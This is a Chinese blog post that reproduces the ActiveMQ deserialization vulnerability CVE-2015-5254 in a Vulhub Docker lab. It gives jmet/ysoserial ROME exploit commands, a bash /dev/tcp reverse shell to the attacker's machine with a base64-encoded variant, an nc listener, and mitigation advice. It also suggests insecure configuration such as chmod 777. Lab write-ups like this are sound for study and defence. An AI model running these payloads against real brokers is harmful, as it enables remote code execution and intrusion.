ActiveMQ 反序列化漏洞CVE-2015-5254复现

文章目录

      • 一、产生原因
      • 二、利用条件
      • 三、利用过程
      • 四、PoC（概念验证）
      • 五、poc环境验证
        • 使用find搜索vulhub已安装目录
        • 打开activeMQ组件
        • 查看配置文件端口
        • 启动镜像-文件配置好后
        • 对于Docker 镜像下载问题及解决办法
        • 设置好镜像源地址，进行重启docker
        • 查看docker容器状态
        • 5.1 docker拉取资源
        • 5.2 访问漏洞环境
        • 5.3 进行攻击靶场
        • 5.4 反弹shell
      • 六、防御措施

ActiveMQ反序列化漏洞（CVE-2015-5254）是一个严重的安全漏洞，以下是对该漏洞的产生原因、利用条件和过程以及PoC（Proof of Concept，概念验证）的详细分析：

[漏洞环境搭建]:Vulhub - Docker-Compose file for vulnerability environment
[搭建Vulhub和jdk和docker环境参考]:(https://blog.csdn.net/m0_59839948/article/details/141931317)

一、产生原因

Apache ActiveMQ是由美国Apache软件基金会开发的开源消息传递中间件，它支持Java消息传递服务、集群、Spring框架等。

CVE-2015-5254漏洞的产生原因是Apache ActiveMQ在5.13.0之前的5.x版本中，程序没有限制可在代理中序列化的类。这意味着远程攻击者可以构造特制的序列化的Java消息服务（JMS）ObjectMessage对象，并通过该漏洞在目标系统上执行任意代码。

首先是 org.apache.activemq.util.JMSExceptionSupport.createSerializableException() 方法中的缺陷，该方法将 JMSException 异常对象序列化为字节数组，这个字节数组包含了 cause 内的异常和 message 内的信息。攻击者可以构造精心设计的 cause 和 message 来注入恶意代码。接着，ActiveMQ 的 BlobMessage 与 ActiveMQMessage 消息类型中，也存在缺陷，它们并没有充分校验所接收消息的类型和信息，而是直接调用了 JMSExceptionSupport.createSerializableException() 方法将 JMSException 对象序列化为字节数组，从而使得攻击者可以执行任意代码。

二、利用条件

要利用CVE-2015-5254漏洞，攻击者需要满足以下条件：

  1. 目标系统需要运行Apache ActiveMQ 5.13.0之前的5.x版本。
  2. 攻击者需要能够向目标ActiveMQ服务器发送JMS消息。
  3. 攻击者需要构造并发送包含恶意序列化数据的JMS ObjectMessage。

三、利用过程

CVE-2015-5254漏洞的利用过程大致如下：

  1. 构造恶意消息：攻击者首先使用工具（如ysoserial）构造一个包含恶意代码的序列化JMS ObjectMessage。这个恶意代码可以是任何能够在目标系统上执行的命令。
  2. 发送恶意消息：攻击者将构造好的恶意消息发送到目标ActiveMQ服务器的61616端口（这是ActiveMQ的默认工作端口，用于消息传递）。
  3. 触发漏洞：当ActiveMQ服务器接收到这个恶意消息并尝试对其进行反序列化时，会触发漏洞，导致恶意代码在目标系统上执行。
  4. 执行任意代码：一旦恶意代码被执行，攻击者就可以在目标系统上执行任意操作，如窃取敏感数据、部署恶意软件或发起其他攻击。

四、PoC（概念验证）

以下是一个简单的PoC示例，展示了如何利用CVE-2015-5254漏洞在目标系统上执行任意命令：

  1. 下载并配置jmet工具：首先，攻击者需要下载jmet工具（一个用于利用ActiveMQ反序列化漏洞的工具）。然后，在同目录下创建一个external文件夹（这是jmet工具的要求,否则可能会出现文件夹不存在的错误)）。

  2. 构造并发送恶意消息：jmet–》jmet-0.1.0-all下载，jmet是使用ysoserial来生成Payload并发送的(jar自带ysoserial，我们不需要再下载)，所以我们需要选择一个可以在ysoserial中使用的小工具，比如ROME。 使用jmet工具构造一个包含恶意命令的序列化JMS ObjectMessage，并将其发送到目标ActiveMQ服务器的61616端口。例如，可以使用以下命令来构造并发送一个包含“touch /tmp/success”命令的恶意消息：

    java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME target_ip 61616

    其中，-Q指定队列消息名，-I选择要装载的JMS客户端（这里是ActiveMQ），-s是选择ysoserial payload，-Y指定具体的命令，-Yp指定payload类型（这里是ROME），target_ip是目标ActiveMQ服务器的IP地址，61616是目标ActiveMQ服务器的工作端口。

  3. 验证漏洞利用是否成功：攻击者可以通过访问目标系统的/tmp目录来检查是否成功创建了名为“success”的文件。如果文件存在，则说明漏洞利用成功。

五、poc环境验证

使用find搜索vulhub已安装目录
find . -type d -name "vulhub"  
-- . 表示当前目录，-type d 表示搜索类型为目录

sudo find / -type d -name "vulhub" 2>/dev/null

-- 2>/dev/null 是为了将错误消息（例如权限不足的目录）重定向到空设备，以避免干扰搜索结果。
打开activeMQ组件
/home/kali/vulhub/activemq/CVE-2015-5254

在这里插入图片描述

查看配置文件端口

在这里插入图片描述

启动镜像-文件配置好后
sudo docker-compose up -d   # -d是后台运行

在这里插入图片描述

对于Docker 镜像下载问题及解决办法

参考：https://blog.csdn.net/weixin_53742691/article/details/143176183
在 /etc/docker/daemon.json 文件中添加以下内容，以设置镜像加速器：

  {
	"registry-mirrors" : [
	    "https://jkfdsf2u.mirror.aliyuncs.com",
	    "https://registry.docker-cn.com"
	  ],
	  "insecure-registries" : [
	    "docker-registry.zjq.com"
	  ],
	  "log-driver": "json-file",
	  "log-opts": {
	    "max-size": "10m",
	    "max-file": "10"
	  },
	  "data-root": "/data/docker"
	}
设置好镜像源地址，进行重启docker
1. cd /etc/docker/

2. 创建一个docker 的配置文件：daemon.json（要是存在就不需要创建了）
touch daemon.json

3. 给予权限; chmod 777 daemon.json

4.编辑 daemon.json，添加阿里云源
 vi daemon.json
输入时按i健，然后进行替换，完成之后按Esc健进行退出，再按:wq!进行保存退出
{"registry-mirrors": ["https://alzgoonw.mirror.aliyuncs.com"]}

清理docker缓存
sudo docker system prune

5.完成以上步骤，接下来重新加载文件和重启docker
systemctl daemon-reload
systemctl restart docker
查看docker容器状态
sudo  docker ps -a  # 查看docker的启动服务
sudo docker stop 128e    #128e是docker容器id的缩写

在这里插入图片描述

5.1 docker拉取资源

在这里插入图片描述

sudo  docker ps -a  # 查看docker的启动服务

在这里插入图片描述

5.2 访问漏洞环境

用本地机访问kali中docker容器中MQ,已成功部署

在这里插入图片描述

可以看到主页，然后点击Manage ActiveMQ broker 进入到登录界面，用户名和密码都是admin

在这里插入图片描述

登录成功，Queues的消息队列是空的

在这里插入图片描述

5.3 进行攻击靶场
构建攻击payload：
首先下载jmet的jar文件，并在同目录下创建一个external文件夹（否则可能会爆文件夹不存在的错误）。jmet原理是使用ysoserial生成Payload并发送（其jar内自带ysoserial，无需再自己下载），所以我们需要在ysoserial是gadget中选择一个可以使用的，比如ROME。

cd /opt
mkdir external
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

在这里插入图片描述

到kali里边直接使用jmet-0.1.0-all.jar 创建目录进行验证命令：

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -Y "touch /tmp/weig_test" -Yp ROME 192.168.225.166 61616

在这里插入图片描述

看到队列里出现了一个event新的任务

在这里插入图片描述

点进event，点进去任务详情触发

在这里插入图片描述

进入docker检验漏洞是否存在,看看/tmp下面是否有我们写入的文件先查看docker的进程：

docker ps -a

在这里插入图片描述

进入容器：docker exec -it 128eab244067 /bin/bash ，进入到‘/tmp’目录可以看到weig_test文件存在，说明漏洞利用成功

docker exec -it 128eab244067  /bin/bash

在这里插入图片描述

5.4 反弹shell

可以看到文件被成功写入，确认漏洞之后就可以进行getshell，更换一下命令即可。

echo "bash -i >& /dev/tcp/192.168.225.166/5555 0>&1" >/tmp/shell.sh && bash /tmp/shell.sh   # ip是攻击机kali地址

echo: 这个命令用于输出的字符串。
bash -i: 启动一个交互式的 Bash shell。
/dev/tcp/ 是一个伪设备，用于在 Bash 中实现 TCP 连接。
>& /dev/tcp/192.168.225.166/5555: 利用 Bash 的特殊功能，通过 TCP 连接到 IP 地址为 192.168.225.166，端口号为 5555 的服务器。
0>&1: 这是重定向的一部分，将标准输入（文件描述符 0）重定向到标准输出（文件描述符 1），确保 shell 会话中的交互能够正常工作。
>/tmp/shell.sh: 这将 echo 命令的输出重定向到 /tmp/shell.sh 文件中，而不是显示在终端上

编码base64

ZWNobyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xNjYvNTU1NSAwPiYxIiA+L3RtcC9zaGVsbC5zaCAmJiBiYXNoIC90bXAvc2hlbGwuc2g=

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,ZWNobyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xNjYvNTU1NSAwPiYxIiA+L3RtcC9zaGVsbC5zaCAmJiBiYXNoIC90bXAvc2hlbGwuc2g=}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.225.166 61616

在这里插入图片描述
进行点击
在这里插入图片描述
点击这个ID号
在这里插入图片描述
进入此页面，已触发
在这里插入图片描述
使用kali进行监听端口，当点击详情后成功反弹shell

nc -lvnp 5555

在这里插入图片描述
反弹shell成功，至此漏洞复现完成。

六、防御措施

为了防范CVE-2015-5254漏洞，建议采取以下防御措施：

  1. 升级ActiveMQ版本：尽快将ActiveMQ升级到5.13.0或更高版本，以修复该漏洞。
  2. 限制消息类型：在ActiveMQ的配置中限制可接受的消息类型，避免接受未知的或不受信任的消息类型。
  3. 加强访问控制：配置防火墙规则以限制对ActiveMQ服务器的访问，确保只有受信任的用户或系统能够发送消息到ActiveMQ服务器。
  4. 监控和日志记录：启用ActiveMQ的监控和日志记录功能，以便及时发现并响应可疑活动。

综上所述，CVE-2015-5254漏洞是一个严重的安全威胁，用户应尽快采取措施进行修复和防范。

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：/a/938531.html

如若内容造成侵权/违法违规/事实不符，请联系我们进行投诉反馈qq邮箱809451989@qq.com，一经查实，立即删除！

相关文章

给新ubuntu电脑配置远程控制环境和c++版本的opencv环境

给新ubuntu电脑配置远程控制环境和c++版本的opencv环境

目录 改用户密码安装ssh sever安装net-tools配置vscode安装vim配置C opencv1. 安装g, cmake, make2.安装opencv依赖库3.下载opencv源文件（1）方法一：官网下载（2）方法二：GitHub下载方式： 4. Cmake…
阅读更多...
如何在 Debian 12 上安装和使用 Vuls 漏洞扫描器

如何在 Debian 12 上安装和使用 Vuls 漏洞扫描器

简介 Vuls 是一款无代理、免费且开源的 Linux 和 FreeBSD 漏洞扫描器。Vuls 主要用 Go 语言编写，可以在任何地方运行。你可以在云端、本地和 Docker 上运行 Vuls，并且它支持主要的发行版。Vuls 提供高质量的扫描，支持多个漏洞数据库&#xf…
阅读更多...
Python-装饰器（Decorator）详解

Python-装饰器（Decorator）详解

在python中，函数是一等公民，意味着函数可以像其他对象一样被赋值、传递参数、作为返回值等。装饰器的基本语法是使用符号将一个函数作为参数传递给另一个函数（即装饰器）。被装饰的函数在被调用时，实际上会执行装饰器函…
阅读更多...
数据结构_拓扑排序

数据结构_拓扑排序

拓扑排序 （所有点按照先后顺序排序） 1.先找到入度为0的点，记录之后，删除这个点和它的出边； 2.若有两个可选，随便选择一个 例 a的入度为0,选a [a] 随便选一个 [a,e] 再找入度为0的点 再选c 最后选d 拓…
阅读更多...
MinerU:PDF文档提取工具

MinerU:PDF文档提取工具

目录 docker一键启动本地配置下载模型权重文件demo.py使用命令行启动GPU使用情况 wget https://github.com/opendatalab/MinerU/raw/master/Dockerfile docker build -t mineru:latest .docker一键启动 有点问题，晚点更新 本地配置 就是在Python环境中配置依赖和…
阅读更多...
redis集群安装部署 redis三主三从集群

redis集群安装部署 redis三主三从集群

redis集群安装部署 redis三主三从集群 1、下载redis2、安装redis集群 三主三从3、配置redis开机自启动3.1、建立启动脚本3.2、复制多份redis启动脚本给集群使用3.3、添加可执行权限3.4、配置开机自启动 1、下载redis 本次redis安装部署选择当前最新的稳定版本7.4.1 下载链接: …
阅读更多...
Fiddler简单使用

Fiddler简单使用

Fiddler使用方法 1.作用 接口测试，发送自定义请求，模拟小型的接口测试定位前后端bug，抓取协议包，前后端联调构建模拟测试场景，数据篡改，重定向弱网测试，模拟限速操作，弱网&#xf…
阅读更多...
203.PyQt5_QTreeWidget_项处理_树形结构

203.PyQt5_QTreeWidget_项处理_树形结构

课 程 推 荐我 的 个 人 主 页：👉👉 失心疯的个人主页 👈👈入 门 教 程 推 荐 ：👉👉 Python零基础入门教程合集 👈👈虚 拟 环 境 搭 建 ：👉👉 Python项目虚拟环境(超详细讲解) 👈👈PyQt5 系 列 教 程：👉👉 Python GUI(PyQt5)教程合集 👈👈…
阅读更多...
6.2 MapReduce工作原理

6.2 MapReduce工作原理

MapReduce工作原理涉及将大数据集分割成小块并行处理。Map任务读取数据块并输出中间键值对，而Reduce任务则处理这些排序后的数据以生成最终结果。MapTask工作包括读取数据、应用Map函数、收集输出、内存溢出时写入磁盘以及可选的Combiner局部聚合。ReduceTask工作则…
阅读更多...
【线性代数】理解矩阵乘法的意义（点乘）

【线性代数】理解矩阵乘法的意义（点乘）

刚接触线性代数时，很不理解矩阵乘法的计算规则，为什么规则定义的看起来那么有规律却又莫名其妙，现在参考了一些资料，回过头重新总结下个人对矩阵乘法的理解（严格来说是点乘）。 理解矩阵和矩阵的乘法&#x…
阅读更多...
Win11安装安卓子系统WSA

Win11安装安卓子系统WSA

文章目录 简介一、启用Hyper-V二、安装WSA三、安装APKAPK商店参考文献 简介 WSA：Windows Subsystem For Android 一、启用Hyper-V 控制面板 → 程序和功能 → 启用或关闭 Windows 功能 → 勾选 Hyper-V 二、安装WSA 进入 Microsoft Store，下拉框改为 …
阅读更多...
Tree-of-Counterfactual Prompting for Zero-Shot Stance Detection

Tree-of-Counterfactual Prompting for Zero-Shot Stance Detection

论文地址：Tree-of-Counterfactual Prompting for Zero-Shot Stance Detection - ACL Anthologyhttps://aclanthology.org/2024.acl-long.49/ 1. 概述 立场检测被定义为对文本中立场态度的自动推断。根据 Biber 和 Finegan (1988) 的定义，立场包含两个主…
阅读更多...
轻松上手：使用 Vercel 部署 HTML 页面教程

轻松上手：使用 Vercel 部署 HTML 页面教程

😀 在学习前端的过程中，部署项目往往是一个令人头疼的问题。然而，Vercel 为我们提供了一个便捷且免费的解决方案。 Vercel 是一个强大的云平台，专门用于前端项目的部署和托管。它不仅支持多种前端框架和静态网站生成器&#xff0…
阅读更多...
QT从入门到精通(二) ——信号与槽机制

QT从入门到精通(二) ——信号与槽机制

Qt 的信号与槽机制（Signal and Slot）是 Qt 框架 中用于对象间通信的核心机制之一。它允许对象之间进行松耦合的事件驱动式通信，尤其适合 GUI 应用程序 中的事件处理。 1. 基本概念 信号 (Signal) 当对象的状态发生变化时，它会发…
阅读更多...
数据结构：Win32 API详解

数据结构：Win32 API详解

目录 一.Win32 API的介绍 二.控制台程序(Console)与COORD 1..控制台程序(Console): 2.控制台窗口坐标COORD： 3.GetStdHandle函数： （1）语法： （2）参数： 4.GetConsoleCursorInf…
阅读更多...
kubeadm_k8s_v1.31高可用部署教程

kubeadm_k8s_v1.31高可用部署教程

kubeadm_k8s_v1.31高可用部署教程 实验环境部署拓扑图**部署署架构****Load Balance****Control plane node****Worker node****资源分配（8台虚拟机）**集群列表 前置准备关闭swap开启ipv4转发更多设置 1、Verify the MAC address and product_uuid are u…
阅读更多...
鸿蒙元服务项目实战：备忘录UI页面开发

鸿蒙元服务项目实战：备忘录UI页面开发

前言 之前写过一篇关于元服务项目的上架流程，为了更好的了解及开发元服务，准备从0到1简单开发一个小项目，也希望能够帮助到刚刚介入到鸿蒙开发的同学，具体项目呢，也是十分的简单，就是一个小巧的备忘录项目&…
阅读更多...
Linux-ubuntu点LED灯C语言版

Linux-ubuntu点LED灯C语言版

​ 一，C语言点灯 1.寄存器配置 设置为SVC模式，复用寄存器设置GPIO1-IO003,设置电气属性，设置为输出模式。 2.软件 汇编语言对模式设置，并且将堆栈指针指向主程序： .global _start_start: /*设置为svr模式 */mrs …
阅读更多...
SLM510A系列——24V，15到150mA单通道可调电流线性恒流LED驱动芯片

SLM510A系列——24V，15到150mA单通道可调电流线性恒流LED驱动芯片

SLM510A 系列产品是单通道、高精度、可调电流线性恒流源的 LED 驱动芯片，在各种 LED 照明产品中非常简单易用。其在宽电压输入范围内，能保证极高的输出电流精度，从而在大面积的光源照明中，都能让 LED 照明亮度保持均匀一致。 由于…
阅读更多...
【JavaEE】网络（2）

【JavaEE】网络（2）

一、网络编程套接字 1.1 基础概念 【网络编程】指网络上的主机，通过不同的进程，以编程的方式实现网络通信；当然，我们只要满足进程不同就行，所以即便是同一个主机，只要是不同进程，基于网络来传…
阅读更多...
最新文章

Copyright @ 2022~2023